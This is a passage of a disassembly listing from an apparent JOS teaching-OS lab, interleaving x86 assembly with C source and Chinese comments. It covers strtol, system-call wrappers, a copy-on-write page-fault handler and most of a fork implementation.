800b29: 3b 55 10 cmp 0x10(%ebp),%edx
800b2c: 7d 30 jge 800b5e <strtol+0xc5>
break;
s++, val = (val * base) + dig;
800b2e: 83 c1 01 add $0x1,%ecx
800b31: 0f af 45 10 imul 0x10(%ebp),%eax
800b35: 01 d0 add %edx,%eax
if (*s >= '0' && *s <= '9')
800b37: 0f b6 11 movzbl (%ecx),%edx
800b3a: 8d 72 d0 lea -0x30(%edx),%esi
800b3d: 89 f3 mov %esi,%ebx
800b3f: 80 fb 09 cmp $0x9,%bl
800b42: 77 d5 ja 800b19 <strtol+0x80>
dig = *s - '0';
800b44: 0f be d2 movsbl %dl,%edx
800b47: 83 ea 30 sub $0x30,%edx
800b4a: eb dd jmp 800b29 <strtol+0x90>
else if (*s >= 'A' && *s <= 'Z')
800b4c: 8d 72 bf lea -0x41(%edx),%esi
800b4f: 89 f3 mov %esi,%ebx
800b51: 80 fb 19 cmp $0x19,%bl
800b54: 77 08 ja 800b5e <strtol+0xc5>
dig = *s - 'A' + 10;
800b56: 0f be d2 movsbl %dl,%edx
800b59: 83 ea 37 sub $0x37,%edx
800b5c: eb cb jmp 800b29 <strtol+0x90>
// we don't properly detect overflow!
}
if (endptr)
800b5e: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
800b62: 74 05 je 800b69 <strtol+0xd0>
*endptr = (char *) s;
800b64: 8b 75 0c mov 0xc(%ebp),%esi
800b67: 89 0e mov %ecx,(%esi)
return (neg ? -val : val);
800b69: 89 c2 mov %eax,%edx
800b6b: f7 da neg %edx
800b6d: 85 ff test %edi,%edi
800b6f: 0f 45 c2 cmovne %edx,%eax
}
800b72: 5b pop %ebx
800b73: 5e pop %esi
800b74: 5f pop %edi
800b75: 5d pop %ebp
800b76: c3 ret
00800b77 <sys_cputs>:
return ret;
}
void
sys_cputs(const char *s, size_t len)
{
800b77: 55 push %ebp
800b78: 89 e5 mov %esp,%ebp
800b7a: 57 push %edi
800b7b: 56 push %esi
800b7c: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800b7d: b8 00 00 00 00 mov $0x0,%eax
800b82: 8b 55 08 mov 0x8(%ebp),%edx
800b85: 8b 4d 0c mov 0xc(%ebp),%ecx
800b88: 89 c3 mov %eax,%ebx
800b8a: 89 c7 mov %eax,%edi
800b8c: 89 c6 mov %eax,%esi
800b8e: cd 30 int $0x30
syscall(SYS_cputs, 0, (uint32_t)s, len, 0, 0, 0);
}
800b90: 5b pop %ebx
800b91: 5e pop %esi
800b92: 5f pop %edi
800b93: 5d pop %ebp
800b94: c3 ret
00800b95 <sys_cgetc>:
int
sys_cgetc(void)
{
800b95: 55 push %ebp
800b96: 89 e5 mov %esp,%ebp
800b98: 57 push %edi
800b99: 56 push %esi
800b9a: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800b9b: ba 00 00 00 00 mov $0x0,%edx
800ba0: b8 01 00 00 00 mov $0x1,%eax
800ba5: 89 d1 mov %edx,%ecx
800ba7: 89 d3 mov %edx,%ebx
800ba9: 89 d7 mov %edx,%edi
800bab: 89 d6 mov %edx,%esi
800bad: cd 30 int $0x30
return syscall(SYS_cgetc, 0, 0, 0, 0, 0, 0);
}
800baf: 5b pop %ebx
800bb0: 5e pop %esi
800bb1: 5f pop %edi
800bb2: 5d pop %ebp
800bb3: c3 ret
00800bb4 <sys_env_destroy>:
int
sys_env_destroy(envid_t envid)
{
800bb4: 55 push %ebp
800bb5: 89 e5 mov %esp,%ebp
800bb7: 57 push %edi
800bb8: 56 push %esi
800bb9: 53 push %ebx
800bba: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800bbd: b9 00 00 00 00 mov $0x0,%ecx
800bc2: 8b 55 08 mov 0x8(%ebp),%edx
800bc5: b8 03 00 00 00 mov $0x3,%eax
800bca: 89 cb mov %ecx,%ebx
800bcc: 89 cf mov %ecx,%edi
800bce: 89 ce mov %ecx,%esi
800bd0: cd 30 int $0x30
if(check && ret > 0)
800bd2: 85 c0 test %eax,%eax
800bd4: 7f 08 jg 800bde <sys_env_destroy+0x2a>
return syscall(SYS_env_destroy, 1, envid, 0, 0, 0, 0);
}
800bd6: 8d 65 f4 lea -0xc(%ebp),%esp
800bd9: 5b pop %ebx
800bda: 5e pop %esi
800bdb: 5f pop %edi
800bdc: 5d pop %ebp
800bdd: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800bde: 83 ec 0c sub $0xc,%esp
800be1: 50 push %eax
800be2: 6a 03 push $0x3
800be4: 68 1f 17 80 00 push $0x80171f
800be9: 6a 23 push $0x23
800beb: 68 3c 17 80 00 push $0x80173c
800bf0: e8 4b f5 ff ff call 800140 <_panic>
00800bf5 <sys_getenvid>:
envid_t
sys_getenvid(void)
{
800bf5: 55 push %ebp
800bf6: 89 e5 mov %esp,%ebp
800bf8: 57 push %edi
800bf9: 56 push %esi
800bfa: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800bfb: ba 00 00 00 00 mov $0x0,%edx
800c00: b8 02 00 00 00 mov $0x2,%eax
800c05: 89 d1 mov %edx,%ecx
800c07: 89 d3 mov %edx,%ebx
800c09: 89 d7 mov %edx,%edi
800c0b: 89 d6 mov %edx,%esi
800c0d: cd 30 int $0x30
return syscall(SYS_getenvid, 0, 0, 0, 0, 0, 0);
}
800c0f: 5b pop %ebx
800c10: 5e pop %esi
800c11: 5f pop %edi
800c12: 5d pop %ebp
800c13: c3 ret
00800c14 <sys_yield>:
void
sys_yield(void)
{
800c14: 55 push %ebp
800c15: 89 e5 mov %esp,%ebp
800c17: 57 push %edi
800c18: 56 push %esi
800c19: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800c1a: ba 00 00 00 00 mov $0x0,%edx
800c1f: b8 0b 00 00 00 mov $0xb,%eax
800c24: 89 d1 mov %edx,%ecx
800c26: 89 d3 mov %edx,%ebx
800c28: 89 d7 mov %edx,%edi
800c2a: 89 d6 mov %edx,%esi
800c2c: cd 30 int $0x30
syscall(SYS_yield, 0, 0, 0, 0, 0, 0);
}
800c2e: 5b pop %ebx
800c2f: 5e pop %esi
800c30: 5f pop %edi
800c31: 5d pop %ebp
800c32: c3 ret
00800c33 <sys_page_alloc>:
int
sys_page_alloc(envid_t envid, void *va, int perm)
{
800c33: 55 push %ebp
800c34: 89 e5 mov %esp,%ebp
800c36: 57 push %edi
800c37: 56 push %esi
800c38: 53 push %ebx
800c39: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800c3c: be 00 00 00 00 mov $0x0,%esi
800c41: 8b 55 08 mov 0x8(%ebp),%edx
800c44: 8b 4d 0c mov 0xc(%ebp),%ecx
800c47: b8 04 00 00 00 mov $0x4,%eax
800c4c: 8b 5d 10 mov 0x10(%ebp),%ebx
800c4f: 89 f7 mov %esi,%edi
800c51: cd 30 int $0x30
if(check && ret > 0)
800c53: 85 c0 test %eax,%eax
800c55: 7f 08 jg 800c5f <sys_page_alloc+0x2c>
return syscall(SYS_page_alloc, 1, envid, (uint32_t) va, perm, 0, 0);
}
800c57: 8d 65 f4 lea -0xc(%ebp),%esp
800c5a: 5b pop %ebx
800c5b: 5e pop %esi
800c5c: 5f pop %edi
800c5d: 5d pop %ebp
800c5e: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800c5f: 83 ec 0c sub $0xc,%esp
800c62: 50 push %eax
800c63: 6a 04 push $0x4
800c65: 68 1f 17 80 00 push $0x80171f
800c6a: 6a 23 push $0x23
800c6c: 68 3c 17 80 00 push $0x80173c
800c71: e8 ca f4 ff ff call 800140 <_panic>
00800c76 <sys_page_map>:
int
sys_page_map(envid_t srcenv, void *srcva, envid_t dstenv, void *dstva, int perm)
{
800c76: 55 push %ebp
800c77: 89 e5 mov %esp,%ebp
800c79: 57 push %edi
800c7a: 56 push %esi
800c7b: 53 push %ebx
800c7c: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800c7f: 8b 55 08 mov 0x8(%ebp),%edx
800c82: 8b 4d 0c mov 0xc(%ebp),%ecx
800c85: b8 05 00 00 00 mov $0x5,%eax
800c8a: 8b 5d 10 mov 0x10(%ebp),%ebx
800c8d: 8b 7d 14 mov 0x14(%ebp),%edi
800c90: 8b 75 18 mov 0x18(%ebp),%esi
800c93: cd 30 int $0x30
if(check && ret > 0)
800c95: 85 c0 test %eax,%eax
800c97: 7f 08 jg 800ca1 <sys_page_map+0x2b>
return syscall(SYS_page_map, 1, srcenv, (uint32_t) srcva, dstenv, (uint32_t) dstva, perm);
}
800c99: 8d 65 f4 lea -0xc(%ebp),%esp
800c9c: 5b pop %ebx
800c9d: 5e pop %esi
800c9e: 5f pop %edi
800c9f: 5d pop %ebp
800ca0: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800ca1: 83 ec 0c sub $0xc,%esp
800ca4: 50 push %eax
800ca5: 6a 05 push $0x5
800ca7: 68 1f 17 80 00 push $0x80171f
800cac: 6a 23 push $0x23
800cae: 68 3c 17 80 00 push $0x80173c
800cb3: e8 88 f4 ff ff call 800140 <_panic>
00800cb8 <sys_page_unmap>:
int
sys_page_unmap(envid_t envid, void *va)
{
800cb8: 55 push %ebp
800cb9: 89 e5 mov %esp,%ebp
800cbb: 57 push %edi
800cbc: 56 push %esi
800cbd: 53 push %ebx
800cbe: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800cc1: bb 00 00 00 00 mov $0x0,%ebx
800cc6: 8b 55 08 mov 0x8(%ebp),%edx
800cc9: 8b 4d 0c mov 0xc(%ebp),%ecx
800ccc: b8 06 00 00 00 mov $0x6,%eax
800cd1: 89 df mov %ebx,%edi
800cd3: 89 de mov %ebx,%esi
800cd5: cd 30 int $0x30
if(check && ret > 0)
800cd7: 85 c0 test %eax,%eax
800cd9: 7f 08 jg 800ce3 <sys_page_unmap+0x2b>
return syscall(SYS_page_unmap, 1, envid, (uint32_t) va, 0, 0, 0);
}
800cdb: 8d 65 f4 lea -0xc(%ebp),%esp
800cde: 5b pop %ebx
800cdf: 5e pop %esi
800ce0: 5f pop %edi
800ce1: 5d pop %ebp
800ce2: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800ce3: 83 ec 0c sub $0xc,%esp
800ce6: 50 push %eax
800ce7: 6a 06 push $0x6
800ce9: 68 1f 17 80 00 push $0x80171f
800cee: 6a 23 push $0x23
800cf0: 68 3c 17 80 00 push $0x80173c
800cf5: e8 46 f4 ff ff call 800140 <_panic>
00800cfa <sys_env_set_status>:
// sys_exofork is inlined in lib.h
int
sys_env_set_status(envid_t envid, int status)
{
800cfa: 55 push %ebp
800cfb: 89 e5 mov %esp,%ebp
800cfd: 57 push %edi
800cfe: 56 push %esi
800cff: 53 push %ebx
800d00: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800d03: bb 00 00 00 00 mov $0x0,%ebx
800d08: 8b 55 08 mov 0x8(%ebp),%edx
800d0b: 8b 4d 0c mov 0xc(%ebp),%ecx
800d0e: b8 08 00 00 00 mov $0x8,%eax
800d13: 89 df mov %ebx,%edi
800d15: 89 de mov %ebx,%esi
800d17: cd 30 int $0x30
if(check && ret > 0)
800d19: 85 c0 test %eax,%eax
800d1b: 7f 08 jg 800d25 <sys_env_set_status+0x2b>
return syscall(SYS_env_set_status, 1, envid, status, 0, 0, 0);
}
800d1d: 8d 65 f4 lea -0xc(%ebp),%esp
800d20: 5b pop %ebx
800d21: 5e pop %esi
800d22: 5f pop %edi
800d23: 5d pop %ebp
800d24: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800d25: 83 ec 0c sub $0xc,%esp
800d28: 50 push %eax
800d29: 6a 08 push $0x8
800d2b: 68 1f 17 80 00 push $0x80171f
800d30: 6a 23 push $0x23
800d32: 68 3c 17 80 00 push $0x80173c
800d37: e8 04 f4 ff ff call 800140 <_panic>
00800d3c <sys_env_set_trapframe>:
int
sys_env_set_trapframe(envid_t envid, struct Trapframe *tf)
{
800d3c: 55 push %ebp
800d3d: 89 e5 mov %esp,%ebp
800d3f: 57 push %edi
800d40: 56 push %esi
800d41: 53 push %ebx
800d42: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800d45: bb 00 00 00 00 mov $0x0,%ebx
800d4a: 8b 55 08 mov 0x8(%ebp),%edx
800d4d: 8b 4d 0c mov 0xc(%ebp),%ecx
800d50: b8 09 00 00 00 mov $0x9,%eax
800d55: 89 df mov %ebx,%edi
800d57: 89 de mov %ebx,%esi
800d59: cd 30 int $0x30
if(check && ret > 0)
800d5b: 85 c0 test %eax,%eax
800d5d: 7f 08 jg 800d67 <sys_env_set_trapframe+0x2b>
return syscall(SYS_env_set_trapframe, 1, envid, (uint32_t) tf, 0, 0, 0);
}
800d5f: 8d 65 f4 lea -0xc(%ebp),%esp
800d62: 5b pop %ebx
800d63: 5e pop %esi
800d64: 5f pop %edi
800d65: 5d pop %ebp
800d66: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800d67: 83 ec 0c sub $0xc,%esp
800d6a: 50 push %eax
800d6b: 6a 09 push $0x9
800d6d: 68 1f 17 80 00 push $0x80171f
800d72: 6a 23 push $0x23
800d74: 68 3c 17 80 00 push $0x80173c
800d79: e8 c2 f3 ff ff call 800140 <_panic>
00800d7e <sys_env_set_pgfault_upcall>:
int
sys_env_set_pgfault_upcall(envid_t envid, void *upcall)
{
800d7e: 55 push %ebp
800d7f: 89 e5 mov %esp,%ebp
800d81: 57 push %edi
800d82: 56 push %esi
800d83: 53 push %ebx
800d84: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800d87: bb 00 00 00 00 mov $0x0,%ebx
800d8c: 8b 55 08 mov 0x8(%ebp),%edx
800d8f: 8b 4d 0c mov 0xc(%ebp),%ecx
800d92: b8 0a 00 00 00 mov $0xa,%eax
800d97: 89 df mov %ebx,%edi
800d99: 89 de mov %ebx,%esi
800d9b: cd 30 int $0x30
if(check && ret > 0)
800d9d: 85 c0 test %eax,%eax
800d9f: 7f 08 jg 800da9 <sys_env_set_pgfault_upcall+0x2b>
return syscall(SYS_env_set_pgfault_upcall, 1, envid, (uint32_t) upcall, 0, 0, 0);
}
800da1: 8d 65 f4 lea -0xc(%ebp),%esp
800da4: 5b pop %ebx
800da5: 5e pop %esi
800da6: 5f pop %edi
800da7: 5d pop %ebp
800da8: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800da9: 83 ec 0c sub $0xc,%esp
800dac: 50 push %eax
800dad: 6a 0a push $0xa
800daf: 68 1f 17 80 00 push $0x80171f
800db4: 6a 23 push $0x23
800db6: 68 3c 17 80 00 push $0x80173c
800dbb: e8 80 f3 ff ff call 800140 <_panic>
00800dc0 <sys_ipc_try_send>:
int
sys_ipc_try_send(envid_t envid, uint32_t value, void *srcva, int perm)
{
800dc0: 55 push %ebp
800dc1: 89 e5 mov %esp,%ebp
800dc3: 57 push %edi
800dc4: 56 push %esi
800dc5: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800dc6: 8b 55 08 mov 0x8(%ebp),%edx
800dc9: 8b 4d 0c mov 0xc(%ebp),%ecx
800dcc: b8 0c 00 00 00 mov $0xc,%eax
800dd1: be 00 00 00 00 mov $0x0,%esi
800dd6: 8b 5d 10 mov 0x10(%ebp),%ebx
800dd9: 8b 7d 14 mov 0x14(%ebp),%edi
800ddc: cd 30 int $0x30
return syscall(SYS_ipc_try_send, 0, envid, value, (uint32_t) srcva, perm, 0);
}
800dde: 5b pop %ebx
800ddf: 5e pop %esi
800de0: 5f pop %edi
800de1: 5d pop %ebp
800de2: c3 ret
00800de3 <sys_ipc_recv>:
int
sys_ipc_recv(void *dstva)
{
800de3: 55 push %ebp
800de4: 89 e5 mov %esp,%ebp
800de6: 57 push %edi
800de7: 56 push %esi
800de8: 53 push %ebx
800de9: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800dec: b9 00 00 00 00 mov $0x0,%ecx
800df1: 8b 55 08 mov 0x8(%ebp),%edx
800df4: b8 0d 00 00 00 mov $0xd,%eax
800df9: 89 cb mov %ecx,%ebx
800dfb: 89 cf mov %ecx,%edi
800dfd: 89 ce mov %ecx,%esi
800dff: cd 30 int $0x30
if(check && ret > 0)
800e01: 85 c0 test %eax,%eax
800e03: 7f 08 jg 800e0d <sys_ipc_recv+0x2a>
return syscall(SYS_ipc_recv, 1, (uint32_t)dstva, 0, 0, 0, 0);
}
800e05: 8d 65 f4 lea -0xc(%ebp),%esp
800e08: 5b pop %ebx
800e09: 5e pop %esi
800e0a: 5f pop %edi
800e0b: 5d pop %ebp
800e0c: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800e0d: 83 ec 0c sub $0xc,%esp
800e10: 50 push %eax
800e11: 6a 0d push $0xd
800e13: 68 1f 17 80 00 push $0x80171f
800e18: 6a 23 push $0x23
800e1a: 68 3c 17 80 00 push $0x80173c
800e1f: e8 1c f3 ff ff call 800140 <_panic>
00800e24 <pgfault>:
// Custom page fault handler - if faulting page is copy-on-write,
// map in our own private writable copy.
//
static void
pgfault(struct UTrapframe *utf)
{
800e24: 55 push %ebp
800e25: 89 e5 mov %esp,%ebp
800e27: 53 push %ebx
800e28: 83 ec 04 sub $0x4,%esp
800e2b: 8b 45 08 mov 0x8(%ebp),%eax
void *addr = (void *) utf->utf_fault_va;
800e2e: 8b 18 mov (%eax),%ebx
// Hint:
// Use the read-only page table mappings at uvpt
// (see <inc/memlayout.h>).
// LAB 4: Your code here.
if (!((err & FEC_WR) && (uvpt[PGNUM(addr)] & PTE_COW))) { //只有因为写操作写时拷贝的地址这中情况,才可以抢救。否则一律panic
800e30: f6 40 04 02 testb $0x2,0x4(%eax)
800e34: 74 74 je 800eaa <pgfault+0x86>
800e36: 89 d8 mov %ebx,%eax
800e38: c1 e8 0c shr $0xc,%eax
800e3b: 8b 04 85 00 00 40 ef mov -0x10c00000(,%eax,4),%eax
800e42: f6 c4 08 test $0x8,%ah
800e45: 74 63 je 800eaa <pgfault+0x86>
// page to the old page's address.
// Hint:
// You should make three system calls.
// LAB 4: Your code here.
addr = ROUNDDOWN(addr, PGSIZE);
800e47: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
if ((r = sys_page_map(0, addr, 0, PFTEMP, PTE_U|PTE_P)) < 0) //将当前进程PFTEMP也映射到当前进程addr指向的物理页
800e4d: 83 ec 0c sub $0xc,%esp
800e50: 6a 05 push $0x5
800e52: 68 00 f0 7f 00 push $0x7ff000
800e57: 6a 00 push $0x0
800e59: 53 push %ebx
800e5a: 6a 00 push $0x0
800e5c: e8 15 fe ff ff call 800c76 <sys_page_map>
800e61: 83 c4 20 add $0x20,%esp
800e64: 85 c0 test %eax,%eax
800e66: 78 56 js 800ebe <pgfault+0x9a>
panic("sys_page_map: %e", r);
if ((r = sys_page_alloc(0, addr, PTE_P|PTE_U|PTE_W)) < 0) //令当前进程addr指向新分配的物理页
800e68: 83 ec 04 sub $0x4,%esp
800e6b: 6a 07 push $0x7
800e6d: 53 push %ebx
800e6e: 6a 00 push $0x0
800e70: e8 be fd ff ff call 800c33 <sys_page_alloc>
800e75: 83 c4 10 add $0x10,%esp
800e78: 85 c0 test %eax,%eax
800e7a: 78 54 js 800ed0 <pgfault+0xac>
panic("sys_page_alloc: %e", r);
memmove(addr, PFTEMP, PGSIZE); //将PFTEMP指向的物理页拷贝到addr指向的物理页
800e7c: 83 ec 04 sub $0x4,%esp
800e7f: 68 00 10 00 00 push $0x1000
800e84: 68 00 f0 7f 00 push $0x7ff000
800e89: 53 push %ebx
800e8a: e8 39 fb ff ff call 8009c8 <memmove>
if ((r = sys_page_unmap(0, PFTEMP)) < 0) //解除当前进程PFTEMP映射
800e8f: 83 c4 08 add $0x8,%esp
800e92: 68 00 f0 7f 00 push $0x7ff000
800e97: 6a 00 push $0x0
800e99: e8 1a fe ff ff call 800cb8 <sys_page_unmap>
800e9e: 83 c4 10 add $0x10,%esp
800ea1: 85 c0 test %eax,%eax
800ea3: 78 3d js 800ee2 <pgfault+0xbe>
panic("sys_page_unmap: %e", r);
}
800ea5: 8b 5d fc mov -0x4(%ebp),%ebx
800ea8: c9 leave
800ea9: c3 ret
panic("pgfault():not cow");
800eaa: 83 ec 04 sub $0x4,%esp
800ead: 68 4a 17 80 00 push $0x80174a
800eb2: 6a 1d push $0x1d
800eb4: 68 5c 17 80 00 push $0x80175c
800eb9: e8 82 f2 ff ff call 800140 <_panic>
panic("sys_page_map: %e", r);
800ebe: 50 push %eax
800ebf: 68 67 17 80 00 push $0x801767
800ec4: 6a 2a push $0x2a
800ec6: 68 5c 17 80 00 push $0x80175c
800ecb: e8 70 f2 ff ff call 800140 <_panic>
panic("sys_page_alloc: %e", r);
800ed0: 50 push %eax
800ed1: 68 78 17 80 00 push $0x801778
800ed6: 6a 2c push $0x2c
800ed8: 68 5c 17 80 00 push $0x80175c
800edd: e8 5e f2 ff ff call 800140 <_panic>
panic("sys_page_unmap: %e", r);
800ee2: 50 push %eax
800ee3: 68 8b 17 80 00 push $0x80178b
800ee8: 6a 2f push $0x2f
800eea: 68 5c 17 80 00 push $0x80175c
800eef: e8 4c f2 ff ff call 800140 <_panic>
00800ef4 <fork>:
// Neither user exception stack should ever be marked copy-on-write,
// so you must allocate a new page for the child's user exception stack.
//
envid_t
fork(void)
{
800ef4: 55 push %ebp
800ef5: 89 e5 mov %esp,%ebp
800ef7: 57 push %edi
800ef8: 56 push %esi
800ef9: 53 push %ebx
800efa: 83 ec 28 sub $0x28,%esp
// LAB 4: Your code here.
extern void _pgfault_upcall(void);
set_pgfault_handler(pgfault); //设置缺页处理函数
800efd: 68 24 0e 80 00 push $0x800e24
800f02: e8 d9 01 00 00 call 8010e0 <set_pgfault_handler>
// This must be inlined. Exercise for reader: why?
static inline envid_t __attribute__((always_inline))
sys_exofork(void)
{
envid_t ret;
asm volatile("int %2"
800f07: b8 07 00 00 00 mov $0x7,%eax
800f0c: cd 30 int $0x30
800f0e: 89 45 e4 mov %eax,-0x1c(%ebp)
envid_t envid = sys_exofork(); //系统调用,只是简单创建一个Env结构,复制当前用户环境寄存器状态,UTOP以下的页目录还没有建立
if (envid == 0) { //子进程将走这个逻辑
800f11: 83 c4 10 add $0x10,%esp
800f14: 85 c0 test %eax,%eax
800f16: 74 12 je 800f2a <fork+0x36>
800f18: 89 c7 mov %eax,%edi
thisenv = &envs[ENVX(sys_getenvid())];
return 0;
}
if (envid < 0) {
800f1a: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
800f1e: 78 26 js 800f46 <fork+0x52>
panic("sys_exofork: %e", envid);
}
uint32_t addr;
for (addr = 0; addr < USTACKTOP; addr += PGSIZE) {
800f20: bb 00 00 00 00 mov $0x0,%ebx
800f25: e9 94 00 00 00 jmp 800fbe <fork+0xca>
thisenv = &envs[ENVX(sys_getenvid())];
800f2a: e8 c6 fc ff ff call 800bf5 <sys_getenvid>
800f2f: 25 ff 03 00 00 and $0x3ff,%eax
800f34: 6b c0 7c imul $0x7c,%eax,%eax
800f37: 05 00 00 c0 ee add $0xeec00000,%eax
800f3c: a3 08 20 80 00 mov %eax,0x802008
return 0;
800f41: e9 51 01 00 00 jmp 801097 <fork+0x1a3>
panic("sys_exofork: %e", envid);
800f46: ff 75 e4 pushl -0x1c(%ebp)
800f49: 68 9e 17 80 00 push $0x80179e
800f4e: 6a 6d push $0x6d
800f50: 68 5c 17 80 00 push $0x80175c
800f55: e8 e6 f1 ff ff call 800140 <_panic>
sys_page_map(0, addr, envid, addr, PTE_SYSCALL); //对于表示为PTE_SHARE的页,拷贝映射关系,并且两个进程都有读写权限
800f5a: 83 ec 0c sub $0xc,%esp
800f5d: 68 07 0e 00 00 push $0xe07
800f62: 56 push %esi
800f63: 57 push %edi
800f64: 56 push %esi
800f65: 6a 00 push $0x0
800f67: e8 0a fd ff ff call 800c76 <sys_page_map>
800f6c: 83 c4 20 add $0x20,%esp
800f6f: eb 3b jmp 800fac <fork+0xb8>
if ((r = sys_page_map(0, addr, envid, addr, PTE_COW|PTE_U|PTE_P)) < 0)
800f71: 83 ec 0c sub $0xc,%esp
800f74: 68 05 08 00 00 push $0x805
800f79: 56 push %esi
800f7a: 57 push %edi
800f7b: 56 push %esi
800f7c: 6a 00 push $0x0
800f7e: e8 f3 fc ff ff call 800c76 <sys_page_map>
800f83: 83 c4 20 add $0x20,%esp
800f86: 85 c0 test %eax,%eax
800f88: 0f 88 a9 00 00 00 js 801037 <fork+0x143>
if ((r = sys_page_map(0, addr, 0, addr, PTE_COW|PTE_U|PTE_P)) < 0)
800f8e: 83 ec 0c sub $0xc,%esp
800f91: 68 05 08 00 00 push $0x805
800f96: 56 push %esi
800f97: 6a 00 push $0x0
800f99: 56 push %esi
800f9a: 6a 00 push $0x0
800f9c: e8 d5 fc ff ff call 800c76 <sys_page_map>
800fa1: 83 c4 20 add $0x20,%esp
800fa4: 85 c0 test %eax,%eax
800fa6: 0f 88 9d 00 00 00 js 801049 <fork+0x155>
for (addr = 0; addr < USTACKTOP; addr += PGSIZE) {
800fac: 81 c3 00 10 00 00 add $0x1000,%ebx
800fb2: 81 fb 00 e0 bf ee cmp $0xeebfe000,%ebx
800fb8: 0f 84 9d 00 00 00 je 80105b <fork+0x167>
if ((uvpd[PDX(addr)] & PTE_P) && (uvpt[PGNUM(addr)] & PTE_P) //为什么uvpt[pagenumber]能访问到第pagenumber项页表条目:https://pdos.csail.mit.edu/6.828/2018/labs/lab4/uvpt.html
800fbe: 89 d8 mov %ebx,%eax
800fc0: c1 e8 16 shr $0x16,%eax
800fc3: 8b 04 85 00 d0 7b ef mov -0x10843000(,%eax,4),%eax
800fca: a8 01 test $0x1,%al
800fcc: 74 de je 800fac <fork+0xb8>
800fce: 89 d8 mov %ebx,%eax
800fd0: c1 e8 0c shr $0xc,%eax
800fd3: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
800fda: f6 c2 01 test $0x1,%dl
800fdd: 74 cd je 800fac <fork+0xb8>
&& (uvpt[PGNUM(addr)] & PTE_U)) {
800fdf: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
800fe6: f6 c2 04 test $0x4,%dl
800fe9: 74 c1 je 800fac <fork+0xb8>
void *addr = (void*) (pn * PGSIZE);
800feb: 89 c6 mov %eax,%esi
800fed: c1 e6 0c shl $0xc,%esi
if (uvpt[pn] & PTE_SHARE) {
800ff0: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
800ff7: f6 c6 04 test $0x4,%dh
800ffa: 0f 85 5a ff ff ff jne 800f5a <fork+0x66>
} else if ((uvpt[pn] & PTE_W) || (uvpt[pn] & PTE_COW)) { //对于UTOP以下的可写的或者写时拷贝的页,拷贝映射关系的同时,需要同时标记当前进程和子进程的页表项为PTE_COW
801000: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
801007: f6 c2 02 test $0x2,%dl
80100a: 0f 85 61 ff ff ff jne 800f71 <fork+0x7d>
801010: 8b 04 85 00 00 40 ef mov -0x10c00000(,%eax,4),%eax
801017: f6 c4 08 test $0x8,%ah
80101a: 0f 85 51 ff ff ff jne 800f71 <fork+0x7d>
sys_page_map(0, addr, envid, addr, PTE_U|PTE_P); //对于只读的页,只需要拷贝映射关系即可
801020: 83 ec 0c sub $0xc,%esp
801023: 6a 05 push $0x5
801025: 56 push %esi
801026: 57 push %edi
801027: 56 push %esi
801028: 6a 00 push $0x0
80102a: e8 47 fc ff ff call 800c76 <sys_page_map>
80102f: 83 c4 20 add $0x20,%esp
801032: e9 75 ff ff ff jmp 800fac <fork+0xb8>
panic("sys_page_map:%e", r);
801037: 50 push %eax
801038: 68 ae 17 80 00 push $0x8017ae
80103d: 6a 48 push $0x48
80103f: 68 5c 17 80 00 push $0x80175c
801044: e8 f7 f0 ff ff call 800140 <_panic>
panic("sys_page_map:%e", r);
801049: 50 push %eax
80104a: 68 ae 17 80 00 push $0x8017ae
80104f: 6a 4a push $0x4a
801051: 68 5c 17 80 00 push $0x80175c
801056: e8 e5 f0 ff ff call 800140 <_panic>
duppage(envid, PGNUM(addr)); //拷贝当前进程映射关系到子进程
}
}
int r;
if ((r = sys_page_alloc(envid, (void *)(UXSTACKTOP-PGSIZE), PTE_P | PTE_W | PTE_U)) < 0) //为子进程分配异常栈
80105b: 83 ec 04 sub $0x4,%esp
80105e: 6a 07 push $0x7
801060: 68 00 f0 bf ee push $0xeebff000
801065: ff 75 e4 pushl -0x1c(%ebp)
801068: e8 c6 fb ff ff call 800c33 <sys_page_alloc>
80106d: 83 c4 10 add $0x10,%esp
801070: 85 c0 test %eax,%eax
801072: 78 2e js 8010a2 <fork+0x1ae>
panic("sys_page_alloc: %e", r);
sys_env_set_pgfault_upcall(envid, _pgfault_upcall); //为子进程设置_pgfault_upcall
801074: 83 ec 08 sub $0x8,%esp
801077: 68 39 11 80 00 push $0x801139
80107c: 8b 7d e4 mov -0x1c(%ebp),%edi
80107f: 57 push %edi
801080: e8 f9 fc ff ff call 800d7e <sys_env_set_pgfault_upcall>
if ((r = sys_env_set_status(envid, ENV_RUNNABLE)) < 0) //设置子进程为ENV_RUNNABLE状态
801085: 83 c4 08 add $0x8,%esp
801088: 6a 02 push $0x2
80108a: 57 push %edi
80108b: e8 6a fc ff ff call 800cfa <sys_env_set_status>
801090: 83 c4 10 add $0x10,%esp
801093: 85 c0 test %eax,%eax
801095: 78 1d js 8010b4 <fork+0x1c0>
panic("sys_env_set_status: %e", r);
